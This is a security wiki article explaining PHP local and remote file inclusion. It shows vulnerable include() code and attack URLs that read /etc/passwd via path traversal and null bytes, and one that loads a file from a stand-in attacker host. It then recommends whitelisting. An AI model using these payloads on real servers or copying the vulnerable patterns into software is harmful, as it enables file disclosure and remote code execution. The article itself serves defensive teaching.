File Inclusion

From Hakipedia
(Redirected from Remote File Inclusion)
Jump to: navigation, search

File Inclusion in this context means an attacker is able to get a victims interpreter to load a given file. The file can be loaded from the victims server or from another host. To be able to do this the victim needs some insecure code like below.


Local File Inclusion

This would allow an attacker to read any file which is readable by the owner of the webserver process

<?php
  include($_GET['page']);
?>

http://localhost/index.php?page=/etc/passwd


Remote File Inclusion

An attacker could also inject an own file which will be parsed by http://localhosts PHP interpretor

<?php
  include($_GET['page']);
?>

http://localhost/index.php?page=http://attackersHost/inject.txt


wrong defense 1: file_exists()

or we do not want a remote file to be included

Lets add a check if the given file exists on the local file system:

<?php
  if(file_exists($_GET['page'])) {
    include($_GET['page']);
  }
?>

Now, an attacker is no more in the position to inject a remote file.

But this means you can still type http://localhost/index.php?page=/etc/passwd

File exists and voila.


wrong defense 2: directory jailing

or where Relative Path Traversal comes in

An approach to stop reading our files is to jail an attacker in a specific directory:

<?php
  if(file_exists($myBasedir.'/'.$_GET['page'])) {
    include($myBasedir.'/'.$_GET['page']);
  }
?>

Lets assume we are at /var/www/index.php

1st ../ will change the path to /var/

2nd ../ will change the path to /

Which means you can provide something like http://localhost/index.php?page=../../etc/passwd

/etc/passwd exists and voila.


As an attacker would not know where the web root is located on the servers file system, he could get this information by producing errors with malformed parameters.

Or by simply guessing up to 10 or even more level.

Read Full Path Disclosure for more information.


wrong defense 3: adding content to filename

or where the Poison Null Byte comes in

Another approach to stop reading our files is to add a .php (or anything else) at the end of the given file:

<?php
  if(file_exists($_GET['page'] . '.php')) {
    include($_GET['page'] . '.php');
  }
?>

Which means an attacker has to tell the victims interpreter to stop the string before the added '.php'.

This could be done like this: http://localhost/index.php?page=/etc/passwd%00

file_exists() would check for a file named /etc/passwd%00.php correct me if I am wrong here

File /etc/passwd exists and voila.

Read Poison Null Byte for more information.


This can be combined with a directory attack to break

<?php
  if(file_exists($myBasedir . '/' . $_GET['page'] . '.php')) {
    include($myBasedir . '/' . $_GET['page'] . '.php');
  }
?>

by requesting http://localhost/index.php?page=../../etc/passwd%00


better defense approach

We could start to filter out special chars like "/", "." and "%"

I don't know what happens if an attacker uses Hex, Unicode or another encoding instead.

Or an encoded encoding. Simply too much to worry about.

In this situation white listing is way more secure than every kind of black listing could ever be:

<?php
  if($_GET['page'] == 'news') {
    include('news.php');
  }
?>

You can also have an array of allowed inputs (possibly created by a SQL query before) and ask if $_GET['page'] is in this array. If true include the associated file. If False do some small string checks. If you find malicious content (like "\.%'/) in $_GET['page'] insert attackers IP in an IP based blacklist. Or if you control the server add his IP to your firewall. This way attackers will have no more (proxy)IPs sooner or later and "normal" errors are logged without blacklisting the users IP.

-feel free to modify this text-

external resources